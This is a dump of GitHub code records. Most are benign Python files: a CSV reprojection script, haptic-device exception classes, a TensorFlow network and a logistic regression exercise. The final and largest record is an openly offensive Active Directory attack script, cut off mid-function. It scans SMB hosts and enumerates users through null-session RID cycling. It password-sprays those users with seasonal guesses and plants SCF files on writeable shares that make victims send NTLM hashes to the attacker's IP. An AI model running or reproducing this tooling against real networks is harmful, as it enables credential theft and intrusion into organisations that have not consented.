self.dict_messages[msg_name] = class_(msg_name, self.connection_info, self.channel, self.callback_queue, clt.get('get'), clt.get('send'))\n break\n \n def send_msg(self, name, params, corr_id):\n self.dict_messages[name].send(params, corr_id) ","repo_name":"innovatelogic/shop7","sub_path":"src/client/connections/msg/message_client_cont.py","file_name":"message_client_cont.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31966536212","text":"# Get CSVs to reproject from input path\nimport csv\nimport pyproj\nfrom functools import partial\nfrom os import listdir, path\n\n# From here\n# https://gis.stackexchange.com/questions/168081/how-to-reproject-500-csv-files-efficiently-and-easily-using-qgis\n# and here\n# https://gis.stackexchange.com/questions/168081/how-to-reproject-500-csv-files-efficiently-and-easily-using-qgis\n\n#Define some constants at the top\n#Obviously this could be rewritten as a class with these as parameters\n\nlon = 'CoordX' #name of longitude field in original files\nlat = 'CoordY' #name of latitude field in original files\nf_x = 'CoorX_reprojected' #name of new x value field in new projected files\nf_y = 'CoorY_reprojected' #name of new y value field in new projected files\nin_file = 'C:\\\\Users\\\\uhlmann\\\\Box\\\\GIS\\\\Project_Based\\\\Klamath_River_Renewal_MJA\\\\GIS_Request_Tracking\\\\GIS_Request_Internal_Fall_Creek\\\\fch_2019_control_points.csv' #input directory\nout_file = 'C:\\\\Users\\\\uhlmann\\\\Box\\\\GIS\\\\Project_Based\\\\Klamath_River_Renewal_MJA\\\\GIS_Request_Tracking\\\\GIS_Request_Internal_Fall_Creek\\\\fch_2019_control_points_CA_SP12.csv' #output directory\ninput_projection = 'epsg:6339' #WGS84\noutput_projecton = 'epsg:2225' #CA State Plane 1 feet\n\n#Define partial function for use later when reprojecting\n# user open pyproj.Proj(init=bla, preserve_units = True) if want Z the same\nproject = partial(\n pyproj.transform,\n pyproj.Proj(init=input_projection),\n pyproj.Proj(init=output_projecton))\n\n#open a writer, appending '_project' onto the base name\nwith open(out_file, 'w') as w:\n #open the reader\n with open(in_file, 'r') as r:\n reader = csv.DictReader(r)\n #Create new fieldnames list from reader\n # replacing lon and lat fields with x and y fields\n fn = [x for x in reader.fieldnames]\n fn[fn.index(lon)] = f_x\n fn[fn.index(lat)] = f_y\n writer = csv.DictWriter(w, fieldnames=fn)\n #Write the output\n writer.writeheader()\n for row in reader:\n x,y = (float(row[lon]), float(row[lat]))\n try:\n #Add x,y keys and remove lon, lat keys\n row[f_x], row[f_y] = project(x, y)\n row.pop(lon, None)\n row.pop(lat, None)\n writer.writerow(row)\n except Exception as e:\n #If coordinates are out of bounds, skip row and print the error\n print(e)\n","repo_name":"zuhlmann/arcgis","sub_path":"reproject_csv.py","file_name":"reproject_csv.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1783469217","text":"from typing import Any, Callable, Optional\n\n\nclass DHDError(Exception):\n def __init__(\n self, msg: Optional[str] = \"An undocumented error has occured.\",\n **kwargs\n ):\n if msg is not None:\n return super().__init__(msg)\n else:\n return super().__init__()\n\n\nclass DHDFeatureError(DHDError):\n def __init__(\n self,\n *,\n reason: str,\n ID: Optional[int] = None,\n op: Optional[Callable[[Any], Any]],\n **kwargs\n ):\n op_seg = (\n \"A op\" if op is None else str(op)\n )\n id_seg = \"\" if ID is None else f\" on device {ID} \"\n\n return super().__init__(\n f\"{op_seg} is not available{id_seg}because {reason}.\"\n )\n\n\nclass DHDErrorExpertModeDisabled(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]] = None,\n **kwargs\n ):\n if 'ID' in kwargs:\n kwargs.pop('ID')\n\n return super().__init__(\n reason=\"expert mode is disabled\",\n ID=None,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorFeatureNotAvailable(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]],\n ID: Optional[int] = None,\n **kwargs\n ):\n\n return super().__init__(\n reason=\"it is not supported on this device\",\n ID=ID,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorFeatureNotEnabled(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]] = None,\n ID: Optional[int] = None,\n **kwargs\n ):\n\n return super().__init__(\n reason=\"it was previously disabled for this device\",\n ID=ID,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorDeviceNotReady(DHDFeatureError):\n def __init__(\n self,\n *args,\n op: Optional[Callable[[Any], Any]],\n ID: Optional[int] = None,\n **kwargs\n ):\n return super().__init__(\n reason=\"the device isn't ready to proccess a new command\",\n op=op,\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorRedundantFail(DHDError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n if ID is not None:\n spec = f\" on device ID {ID}\"\n else:\n spec = \"\"\n\n super().__init__(\n f\"The redundant encoder integrity test failed{spec}\",\n **kwargs\n )\n\n\nclass DHDIOError(DHDError, OSError):\n def __init__(\n self,\n *args,\n err: str,\n ID: Optional[int] = None,\n op: Optional[str] = None,\n **kwargs\n ):\n op_seg = \"\" if op is None else f\"{op} failed. \"\n id_seg = \"\" if ID is None else f\" occured on device {ID}\"\n\n return super().__init__(f\"{op_seg}{err}{id_seg}\")\n\n\nclass DHDErrorTimeout(DHDIOError):\n def __init__(\n self,\n *args,\n op: Optional[str] = None,\n ID: Optional[int] = None,\n **kwargs\n ):\n\n return super().__init__(\n err=\"timeout\",\n ID=ID,\n op=op,\n **kwargs\n )\n\n\nclass DHDErrorCom(DHDIOError):\n def __init__(\n self,\n *args,\n ID: Optional[int] = None,\n **kwargs\n ):\n return super().__init__(\n err=\"A communication error between the host and the HapticDevice\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorDHCBusy(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n return super().__init__(\n err=\"The device controller is busy.\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorNoDeviceFound(DHDIOError):\n def __init__(self, **kwargs):\n return super().__init__(\n err=\"No compatible Force Dimension devices found\",\n **kwargs\n )\n\n\nclass DHDErrorDeviceInUse(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n super().__init__(\n err=\"Open error (because the device is already in use)\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorNoDriverFound(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n return super().__init__(\n err=\"A required driver is not installed (see device manual for\"\n \"details)\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorConfiguration(DHDIOError):\n def __init__(self, *, ID: Optional[int] = None, **kwargs):\n super().__init__(\n err=\"The firmware or internal configuration health check failed\",\n ID=ID,\n **kwargs\n )\n\n\nclass DHDErrorGeometry(DHDError):\n def __init__(self, ID: Optional[int] = None, *args, **kwargs):\n\n if (ID is not None):\n spec = f\"device ID {ID}'s\"\n else:\n spec = \"the device's\"\n\n return super().__init__(\n f\"An error has occured within {spec} geometric model\"\n )\n\n\nclass DHDErrorMemory(DHDError, MemoryError):\n def __init__(self, *args, **kwargs):\n return super().__init__(\n \"DHD ran out of memory.\"\n )\n\n\nclass DHDErrorNotImplemented(DHDError, NotImplementedError):\n def __init__(self, *args, **kwargs):\n return super().__init__(\n \"The command or op is currently not implemented.\"\n )\n\n\nclass DHDErrorFileNotFound(DHDError, FileNotFoundError):\n def __init__(self, *args, **kwargs):\n return super().__init__()\n\n\nclass DHDErrorDeprecated(DHDError):\n def __init__(self, *args, **kwargs):\n super().__init__(\n \"This op, function, or current device is marked as \"\n \"deprecated.\"\n )\n\n\nclass DHDErrorInvalidIndex(DHDError, IndexError):\n def __init__(self, *args, **kwargs):\n super().__init__(\n \"An index passed to the function is outside the expected valid \"\n \"range. \"\n )\n\n\nclass DHDErrorArgument(DHDError, ValueError):\n def __init__(self, null: bool = False, *args, **kwargs):\n if not null:\n super().__init__(\n \"The function producing this error was passed an invalid or \"\n \"argument.\"\n )\n else:\n super().__init__(\n \"The function producing this error was passed an unexpected \"\n \"null pointer argument.\"\n )\n\n\nclass DHDErrorNullArgument(DHDErrorArgument):\n def __init__(self, *args, **kwargs):\n super().__init__(null=True)\n\n\nclass DHDErrorNoRegulation(DHDError):\n def __init__(self, *args, **kwargs):\n super().__init__(\n \"The robotic regulation thread is not running. This only applies \"\n \"to functions from the robotic SDK (DRD).\"\n )\n","repo_name":"EmDash00/forcedimension_core-python","sub_path":"forcedimension_core/dhd/adaptors.py","file_name":"adaptors.py","file_ext":"py","file_size_in_byte":6907,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"39084604386","text":"#import gym\n#from RL_brain import DeepQNetwork\n\nimport tensorflow as tf\nimport numpy as np\n\nclass Deep_network(object):\n\t\"\"\"docstring for network\"\"\"\n\tdef __init__(self, \n\t\tnn_size,\n\t\tlearning_rate = 0.05,\n\t\tlr_decay_step = 15000,\n\t\tlr_decay_rate = 0.9,\n\t\tnet_name = 'dnn',\n\t\t):\n\t\t#super(Deep_network, self).__init__()\n\t\tself.global_step = tf.Variable(0, trainable=False)\n\t\tself.lr = tf.train.exponential_decay(learning_rate, self.global_step, lr_decay_step, lr_decay_rate, staircase=True)\n\t\tself.n_layers = len(nn_size)\n\t\tself.size = nn_size\n\t\tself.build_net(net_name = net_name)\n\t\t# When using, restore only network params\n\t\tself.saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=net_name))\n\t\t\n\t\t# For classification\n\t\tself.correct_pred = tf.equal(tf.round(self.pred), self.label)\n\t\tself.accuracy = tf.reduce_mean(tf.cast(self.correct_pred,\"float\"))\n\t\t\n\t\tself.sess = tf.Session()\n\t\tself.sess.run(tf.global_variables_initializer())\n\n\tdef build_net(self, net_name, activation_function=tf.nn.tanh, init_range = 0.01):\n\t\tw_initializer = tf.random_uniform_initializer(-init_range, init_range)\n\t\tself.input = tf.placeholder(tf.float32, [None, self.size[0]], name='input') # input\n\t\tself.label = tf.placeholder(tf.float32, [None, self.size[-1]], name='label') # label\n\t\twith tf.variable_scope(net_name):\n\t\t\toutput = {}\n\t\t\toutput['0'] = self.input\n\t\t\tfor j in range(self.n_layers-1):\n\t\t\t\toutput[str(j+1)] = tf.layers.dense(\n\t\t\t\t\tinputs=output[str(j)], \n\t\t\t\t\tunits=self.size[j+1], \n\t\t\t\t\tkernel_initializer=w_initializer, \n\t\t\t\t\tname='dense_layer'+str(j), \n\t\t\t\t\tactivation = activation_function)\n\t\t\tself.pred = 2*output[str(self.n_layers-1)]\n\t\tself.loss = tf.reduce_mean(tf.squared_difference(self.pred, self.label))\n\t\t#self._train_op = tf.train.RMSPropOptimizer(self.lr).minimize(self.loss, global_step=self.global_step)\n\t\tself._train_op = tf.train.AdamOptimizer(self.lr).minimize(self.loss, global_step=self.global_step)\n\n\tdef train(self, inputs, label):\n\t\tself.sess.run(self._train_op, feed_dict = {self.input: inputs, self.label: label})\n\n\tdef test(self, inputs, label):\n\t\t# For classification problem\n\t\treturn self.sess.run(self.accuracy, feed_dict = {self.input: inputs, self.label: label})\n\t\n\tdef predict(self, inputs):\n\t\t# For classification problem\n\t\treturn self.sess.run(self.pred, feed_dict = {self.input: inputs})\n\t\n\tdef show_loss(self, inputs, label):\n\t\treturn self.sess.run(self.loss, feed_dict = {self.input: inputs, self.label: label})\n\t\n\tdef get_lr(self):\n\t\treturn self.sess.run(self.lr)\n\tdef train_step(self):\n\t\treturn self.sess.run(self.global_step)\n\tdef reset_train_step(self):\n\t\tself.sess.run(self.global_step.assign(0))\n\n\tdef save(self, filename):\n\t\tself.saver.save(self.sess, filename)\n\tdef restore(self, filename):\n\t\tself.saver.restore(self.sess, filename)\n\n\nif __name__ == '__main__':\n\ttrainfile={}\n\ttrainfile = './data/ann-train1.npz'\n\ttestfile = './data/ann-test1.npz'\n\tn_input = 21\n\tn_classes = 1 \n\n\tread = np.load(trainfile)\n\tdata = read['dat']\n\tbatch_x = data[:, 0 : n_input]\n\tbatch_y = data[:, n_input : n_input + n_classes]\n\t\n\tread = None\n\tread=np.load(testfile)\n\tdata_test=read['dat']\n\ttest_x = data_test[:, 0: n_input]\n\ttest_y = data_test[:, n_input: n_input + n_classes]\n\t# set parameters\n\n\tnn_size = [n_input, 5000, 500, 200, n_classes]\n\tdata_size = len(data)\n\tbatch_size = data_size\n\tmy_nn = Deep_network(nn_size = nn_size, learning_rate = 0.005)\n\n\timport time\n\ttimer=time.clock()\n\tfor i in range(1000):\n\t\t#print('=================')\n\t\t#print(i)\n\t\t#idx = np.random.randint(data_size, size=batch_size)\n\t\t#batch_x = data[idx, 0 : n_input]\n\t\t#batch_y = data[idx, n_input : n_input + n_classes]\n\t\tmy_nn.train(inputs=batch_x, label = batch_y)\n\t\t#accuracy = my_nn.test(inputs = test_x, label = test_y)\n\t\t#print(accuracy)\n\tprint(time.clock()-timer)\n\t#my_nn.save('testmodel.ckpt')\n\t\"\"\"\n\taccuracy = my_nn.test(inputs = test_x, label = test_y)\n\tprint(accuracy)\n\tmy_nn.restore('testmodel.ckpt')\n\taccuracy = my_nn.test(inputs = test_x, label = test_y)\n\tprint(accuracy)\n\t\"\"\"\n\t\"\"\"\n\tnew_nn = network(nn_size = nn_size, learning_rate = 0., net_name = '1')\n\taccu = new_nn.test(inputs = test_x, label = test_y)\n\tprint(accu)\n\tnew_nn.restore('testmodel.ckpt')\n\taccu = new_nn.test(inputs = test_x, label = test_y)\n\tprint(accu)\n\t\"\"\"\n\t","repo_name":"DianjingLiu/KiteControlV5.3","sub_path":"Kite_agent/DNN2.py","file_name":"DNN2.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29954991775","text":"#!/usr/bin/env python\n# -*- coding=utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mapFeature import map_feature\nfrom costFunctionReg import cost_function_reg\nfrom fminunc_reg import my_fminunc_reg\nimport sys\n\nsys.path.append(\"../\")\nfrom plotData import plot_data\nfrom plotDecisionBoundary import plot_decision_boundary\nfrom predict import predict\n\n\ndef pause_func():\n print('Program paused. Press enter to continue.\\n')\n while input() != '':\n pass\n\n\ndef load_data(filename):\n data_load = np.loadtxt(filename, delimiter=\",\")\n return data_load\n\n\nif __name__ == '__main__':\n data = load_data('ex2data2.txt')\n data = np.split(data, [2], axis=1)\n X = data[0]\n y = data[1]\n plot_data(X, y)\n plt.xlabel('Microchip Test 1')\n plt.ylabel('Microchip Test 2')\n plt.legend([\"y = 1\", \"y = 0\"])\n plt.pause(1.5)\n plt.close()\n\n # =========== Part 1: Regularized Logistic Regression ============\n X = map_feature(X[:, 0], X[:, 1])\n # Initialize fitting parameters\n initial_theta = np.zeros((X.shape[1], 1))\n # Set regularization parameter lambda to 1\n reg_lambda = 1\n # Compute and display initial cost and gradient for regularized logistic regression\n cost, grad = cost_function_reg(initial_theta, X, y, reg_lambda)\n print('Cost at initial theta (zeros): ', cost, '\\nExpected cost (approx): 0.693\\n')\n np.set_printoptions(suppress=True)\n print('Gradient at initial theta (zeros) - first five values only:\\n', grad[0: 5])\n print('\\nExpected gradients (approx) - first five values only:\\n 0.0085\\n 0.0188\\n 0.0001\\n 0.0503\\n 0.0115\\n')\n print('\\nProgram paused. Press enter to continue.\\n')\n # pause_func()\n\n # Compute and display cost and gradient with all-ones theta and lambda = 10\n test_theta = np.ones((X.shape[1], 1))\n cost, grad = cost_function_reg(test_theta, X, y, 10)\n print('Cost at test theta (with lambda = 10): ', cost, '\\nExpected cost (approx): 3.16\\n')\n np.set_printoptions(suppress=True)\n print('Gradient at test theta - first five values only:\\n', grad[0: 5])\n print('\\nExpected gradients (approx) - first five values only:\\n 0.3460\\n 0.1614\\n 0.1948\\n 0.2269\\n 0.0922\\n')\n print('\\nProgram paused. Press enter to continue.\\n')\n # pause_func()\n\n # ============= Part 2: Regularization and Accuracies =============\n reg_lambda = 1\n result = my_fminunc_reg(X, y, initial_theta, reg_lambda)\n theta = result[\"x\"]\n # Plot Boundary\n plot_decision_boundary(theta, X, y)\n plt.xlabel('Microchip Test 1')\n plt.ylabel('Microchip Test 2')\n plt.legend()\n plt.title('lambda = %g' % reg_lambda)\n plt.pause(2)\n plt.close()\n # Compute accuracy on our training set\n p = predict(theta, X).reshape(118, 1)\n print('Train Accuracy: ', np.mean((p == y)) * 100)\n print('\\nExpected accuracy (approx): 83.1\\n')\n","repo_name":"X-21/Coursera-Machine-Learning-Python-Code","sub_path":"ex2 Logistic Regression/Regularized logistic regression/ex2_reg.py","file_name":"ex2_reg.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"} +{"seq_id":"35712379942","text":"#!/usr/bin/env python3\n\nimport re\nimport os\nimport sys\nimport time\nimport string\nimport signal\nimport random\nimport asyncio\nimport argparse\nimport functools\nimport netifaces\nfrom datetime import datetime\nfrom itertools import zip_longest\nfrom libnmap.process import NmapProcess\nfrom asyncio.subprocess import PIPE, STDOUT\nfrom netaddr import IPNetwork, AddrFormatError\nfrom libnmap.parser import NmapParser, NmapParserException\nfrom subprocess import Popen, PIPE, check_output, CalledProcessError\n\n# debug\nfrom IPython import embed\n\n# Prevent JTR error in VMWare\nos.environ['CPUID_DISABLE'] = '1'\n\ndef parse_args():\n # Create the arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--hostlist\", help=\"Host list file\")\n parser.add_argument(\"-x\", \"--xml\", help=\"Path to Nmap XML file\")\n parser.add_argument(\"-p\", \"--password-list\", help=\"Path to password list file\")\n parser.add_argument(\"-s\", \"--skip\", default='', help=\"Skip [rid/scf/responder/ntlmrelay/dns/crack] where the first 5 options correspond to attacks 1-5\")\n parser.add_argument(\"-t\", \"--time\", default='10', help=\"Number of minutes to run the LLMNR/Responder attack; defaults to 10m\")\n return parser.parse_args()\n\ndef parse_nmap(args):\n '''\n Either performs an Nmap scan or parses an Nmap xml file\n Will either return the parsed report or exit script\n '''\n if args.xml:\n try:\n report = NmapParser.parse_fromfile(args.xml)\n except FileNotFoundError:\n sys.exit('[-] Host file not found: {}'.format(args.xml))\n elif args.hostlist:\n hosts = []\n with open(args.hostlist, 'r') as hostlist:\n host_lines = hostlist.readlines()\n for line in host_lines:\n line = line.strip()\n try:\n if '/' in line:\n hosts += [str(ip) for ip in IPNetwork(line)]\n elif '*' in line:\n sys.exit('[-] CIDR notation only in the host list e.g. 10.0.0.0/24')\n else:\n hosts.append(line)\n except (OSError, AddrFormatError):\n sys.exit('[-] Error importing host list file. Are you sure you chose the right file?')\n report = nmap_scan(hosts)\n else:\n print('[-] Use the \"-x [path/to/nmap-output.xml]\" option if you already have an Nmap XML file \\\nor \"-l [hostlist.txt]\" option to run an Nmap scan with a hostlist file.')\n sys.exit()\n return report\n\ndef nmap_scan(hosts):\n '''\n Do Nmap scan\n '''\n nmap_args = '-sS --script smb-security-mode,smb-enum-shares -n --max-retries 5 -p 445 -oA smb-scan'\n nmap_proc = NmapProcess(targets=hosts, options=nmap_args, safe_mode=False)\n rc = nmap_proc.sudo_run_background()\n nmap_status_printer(nmap_proc)\n report = NmapParser.parse_fromfile(os.getcwd()+'/smb-scan.xml')\n\n return report\n\ndef nmap_status_printer(nmap_proc):\n '''\n Prints that Nmap is running\n '''\n i = -1\n x = -.5\n while nmap_proc.is_running():\n i += 1\n # Every 30 seconds print that Nmap is still running\n if i % 30 == 0:\n x += .5\n print(\"[*] Nmap running: {} min\".format(str(x)))\n time.sleep(1)\n\ndef run_nse_scripts(args, hosts, nse_scripts_run):\n '''\n Run NSE scripts if they weren't run in supplied Nmap XML file\n '''\n hosts = []\n if nse_scripts_run == False:\n if len(hosts) > 0:\n print(\"[*] Running missing NSE scripts\")\n report = nmap_scan(hosts)\n hosts = get_hosts(args, report)\n return hosts\n\ndef get_share(l, share):\n '''\n Gets the share from Nmap output line\n e.g., \\\\\\\\192.168.1.10\\\\Pictures\n '''\n if l.startswith(' \\\\\\\\') and '$' not in l:\n share = l.strip()[:-1]\n return share\n\ndef parse_nse(hosts, args):\n '''\n Parse NSE script output\n '''\n smb_signing_disabled_hosts = []\n\n if 'scf' not in args.skip.lower():\n print('\\n[*] Attack 2: SCF file upload to anonymously writeable shares for hash collection')\n\n for host in hosts:\n ip = host.address\n\n # Get SMB signing data\n for script_out in host.scripts_results:\n if script_out['id'] == 'smb-security-mode':\n if 'message_signing: disabled' in script_out['output']:\n smb_signing_disabled_hosts.append(ip)\n\n # ATTACK 2: SCF file upload for hash capture\n if 'scf' not in args.skip.lower():\n if script_out['id'] == 'smb-enum-shares':\n lines = script_out['output'].splitlines()\n anon_share_found = write_scf_files(lines, ip, args)\n local_scf_cleanup()\n\n if 'scf' not in args.skip.lower():\n if anon_share_found == False:\n print('[-] No anonymously writeable shares found')\n\n if len(smb_signing_disabled_hosts) > 0:\n for host in smb_signing_disabled_hosts:\n write_to_file('smb-signing-disabled-hosts.txt', host+'\\n', 'a+')\n\ndef run_smbclient(server, share_name, action, scf_filepath):\n '''\n Run's impacket's smbclient.py for scf file attack\n '''\n smb_cmds_filename = 'smb-cmds.txt'\n smb_cmds_data = 'use {}\\n{} {}\\nls\\nexit'.format(share_name, action, scf_filepath)\n write_to_file(smb_cmds_filename, smb_cmds_data, 'w+')\n smbclient_cmd = 'python2 submodules/impacket/examples/smbclient.py {} -f {}'.format(server, smb_cmds_filename)\n print(\"[*] Running '{}' with the verb '{}'\".format(smbclient_cmd, action))\n stdout, stderr = Popen(smbclient_cmd.split(), stdout=PIPE, stderr=PIPE).communicate()\n return stdout, stderr\n\ndef write_scf_files(lines, ip, args):\n '''\n Writes SCF files to writeable shares based on Nmap smb-enum-shares output\n '''\n share = None\n anon_share_found = False\n scf_filepath = create_scf()\n\n for l in lines:\n share = get_share(l, share)\n if share:\n share_folder = share.split('\\\\')[-1]\n if 'Anonymous access:' in l or 'Current user access:' in l:\n access = l.split()[-1]\n if access == 'READ/WRITE':\n anon_share_found = True\n print('[+] Writeable share found at: '+share)\n print('[*] Attempting to write SCF file to share')\n action = 'put'\n stdout, stderr = run_smbclient(ip, share_folder, action, scf_filepath)\n stdout = stdout.decode('utf-8')\n if 'Error:' not in stdout and len(stdout) > 1:\n print('[+] Successfully wrote SCF file to: {}'.format(share))\n write_to_file('logs/shares-with-SCF.txt', share+'\\n', 'a+')\n else:\n stdout_lines = stdout.splitlines()\n for line in stdout_lines:\n if 'Error:' in line:\n print('[-] Error writing SCF file: \\n '+line.strip())\n \n return anon_share_found\n\ndef create_scf():\n '''\n Creates scf file and smbclient.py commands file\n '''\n scf_filename = '@local.scf'\n\n if not os.path.isfile(scf_filename):\n scf_data = '[Shell]\\r\\nCommand=2\\r\\nIconFile=\\\\\\\\{}\\\\file.ico\\r\\n[Taskbar]\\r\\nCommand=ToggleDesktop'.format(get_ip())\n write_to_file(scf_filename, scf_data, 'w+')\n\n cwd = os.getcwd()+'/'\n scf_filepath = cwd+scf_filename\n\n return scf_filepath\n\ndef local_scf_cleanup():\n '''\n Removes local SCF file and SMB commands file\n '''\n timestamp = str(time.time())\n scf_file = '@local.scf'\n smb_cmds_file = 'smb-cmds.txt'\n shares_file = 'logs/shares-with-SCF.txt'\n\n if os.path.isfile(scf_file):\n os.remove('@local.scf')\n\n if os.path.isfile(smb_cmds_file):\n os.remove('smb-cmds.txt')\n\n if os.path.isfile(shares_file):\n os.rename(shares_file, shares_file+'-'+timestamp)\n\ndef get_hosts(args, report):\n '''\n Gets list of hosts with port 445 open\n and a list of hosts with smb signing disabled\n '''\n hosts = []\n\n print('[*] Parsing hosts')\n for host in report.hosts:\n if host.is_up():\n # Get open services\n for s in host.services:\n if s.port == 445:\n if s.state == 'open':\n hosts.append(host)\n if len(hosts) == 0:\n sys.exit('[-] No hosts with port 445 open')\n\n return hosts\n\ndef coros_pool(worker_count, commands):\n '''\n A pool without a pool library\n '''\n coros = []\n if len(commands) > 0:\n while len(commands) > 0:\n for i in range(worker_count):\n # Prevents crash if [commands] isn't divisible by worker count\n if len(commands) > 0:\n coros.append(get_output(commands.pop()))\n else:\n return coros\n return coros\n\n@asyncio.coroutine\ndef get_output(cmd):\n '''\n Performs async OS commands\n '''\n p = yield from asyncio.create_subprocess_shell(cmd, stdout=PIPE, stderr=PIPE)\n # Output returns in byte string so we decode to utf8\n return (yield from p.communicate())[0].decode('utf8')\n\ndef async_get_outputs(loop, commands):\n '''\n Asynchronously run commands and get get their output in a list\n '''\n output = []\n\n if len(commands) == 0:\n return output\n\n # Get commands output in parallel\n worker_count = len(commands)\n if worker_count > 10:\n worker_count = 10\n\n # Create pool of coroutines\n coros = coros_pool(worker_count, commands)\n\n # Run the pool of coroutines\n if len(coros) > 0:\n output += loop.run_until_complete(asyncio.gather(*coros))\n\n return output\n\ndef create_cmds(hosts, cmd):\n '''\n Creates the list of comands to run\n cmd looks likes \"echo {} && rpcclient ... {}\"\n '''\n commands = []\n for host in hosts:\n # Most of the time host will be Nmap object but in case of null_sess_hosts\n # it will be a list of strings (ips)\n if type(host) is str:\n ip = host\n else:\n ip = host.address\n formatted_cmd = 'echo {} && '.format(ip) + cmd.format(ip)\n commands.append(formatted_cmd)\n return commands\n\ndef get_null_sess_hosts(output):\n '''\n Gets a list of all hosts vulnerable to SMB null sessions\n '''\n null_sess_hosts = {}\n # output is a list of rpcclient output\n for out in output:\n if 'Domain Name:' in out:\n out = out.splitlines()\n ip = out[0]\n # Just get domain name\n dom = out[1].split()[2]\n # Just get domain SID\n dom_sid = out[2].split()[2]\n null_sess_hosts[ip] = (dom, dom_sid)\n\n return null_sess_hosts\n\ndef get_AD_domains(null_sess_hosts):\n '''\n Prints the unique domains\n '''\n uniq_doms = []\n\n for key,val in null_sess_hosts.items():\n dom_name = val[0]\n\n if dom_name not in uniq_doms:\n uniq_doms.append(dom_name)\n\n if len(uniq_doms) > 0:\n for d in uniq_doms:\n print('[+] Domain found: ' + d) \n\n return uniq_doms\n\ndef get_usernames(ridenum_output, prev_users):\n '''\n Gets usernames from ridenum output\n ip_users is dict that contains username + IP info\n prev_users is just a list of the usernames to prevent duplicate bruteforcing\n '''\n ip_users = {}\n\n for host in ridenum_output:\n out_lines = host.splitlines()\n ip = out_lines[0]\n for line in out_lines:\n # No machine accounts\n if 'Account name:' in line and \"$\" not in line:\n user = line.split()[2].strip()\n if user not in prev_users:\n prev_users.append(user)\n print('[+] User found: ' + user)\n\n if ip in ip_users:\n ip_users[ip] += [user]\n else:\n ip_users[ip] = [user]\n\n return ip_users, prev_users\n\ndef write_to_file(filename, data, write_type):\n '''\n Write data to disk\n '''\n with open(filename, write_type) as f:\n f.write(data)\n\ndef create_brute_cmds(ip_users, passwords):\n '''\n Creates the bruteforce commands\n ip_users = {ip:[user1,user2,user3]}\n ip_users should already be unique and no in prev_users\n '''\n cmds = []\n\n for ip in ip_users:\n for user in ip_users[ip]:\n rpc_user_pass = []\n for pw in passwords:\n cmd = \"echo {} && rpcclient -U \\\"{}%{}\\\" {} -c 'exit'\".format(ip, user, pw, ip)\n # This is so when you get the output from the coros\n # you get the username and pw too\n cmd2 = \"echo '{}' \".format(cmd)+cmd\n cmds.append(cmd2)\n\n return cmds\n\ndef log_users(user):\n '''\n Writes users found to log file\n '''\n with open('found-users.txt', 'a+') as f:\n f.write(user+'\\n')\n\ndef create_passwords(args):\n '''\n Creates the passwords based on default AD requirements\n or user-defined values\n '''\n if args.password_list:\n with open(args.password_list, 'r') as f:\n # We have to be careful with .strip()\n # because password could contain a space\n passwords = [line.rstrip() for line in f]\n else:\n season_pw = create_season_pw()\n other_pw = \"P@ssw0rd\"\n passwords = [season_pw, other_pw]\n\n return passwords\n\ndef create_season_pw():\n '''\n Turn the date into the season + the year\n '''\n # Get the current day of the year\n doy = datetime.today().timetuple().tm_yday\n year = str(datetime.today().year)\n\n spring = range(80, 172)\n summer = range(172, 264)\n fall = range(264, 355)\n # winter = everything else\n\n if doy in spring:\n season = 'Spring'\n elif doy in summer:\n season = 'Summer'\n elif doy in fall:\n season = 'Fall'\n else:\n season = 'Winter'\n\n season_pw = season+year\n return season_pw\n\ndef parse_brute_output(brute_output, prev_creds):\n '''\n Parse the chunk of rpcclient attempted logins\n '''\n # prev_creds = ['ip\\user:password', 'SMBv2-NTLMv2-SSP-1.2.3.4.txt']\n pw_found = False\n\n for line in brute_output:\n # Missing second line of output means we have a hit\n if len(line.splitlines()) == 1:\n pw_found = True\n split = line.split()\n ip = split[1]\n dom_user_pwd = split[5].replace('\"','').replace('%',':')\n prev_creds.append(dom_user_pwd)\n host_dom_user_pwd = ip+'\\\\'+dom_user_pwd\n\n duplicate = check_found_passwords(dom_user_pwd)\n if duplicate == False:\n print('[!] Password found! '+dom_user_pwd)\n log_pwds([dom_user_pwd])\n\n if pw_found == False:\n print('[-] No reverse bruteforce password matches found')\n\n return prev_creds\n\ndef smb_reverse_brute(loop, hosts, args, passwords, prev_creds, prev_users):\n '''\n Performs SMB reverse brute\n '''\n # {ip:'domain name: xxx', 'domain sid: xxx'}\n null_sess_hosts = {}\n dom_cmd = 'rpcclient -U \"\" {} -N -c \"lsaquery\"'\n dom_cmds = create_cmds(hosts, dom_cmd)\n\n print('\\n[*] Attack 1: RID cycling in null SMB sessions into reverse bruteforce')\n print('[*] Checking for null SMB sessions')\n print('[*] Example command that will run: '+dom_cmds[0].split('&& ')[1])\n\n rpc_output = async_get_outputs(loop, dom_cmds)\n if rpc_output == None:\n print('[-] Error attempting to look up null SMB sessions')\n return\n\n # {ip:'domain_name', 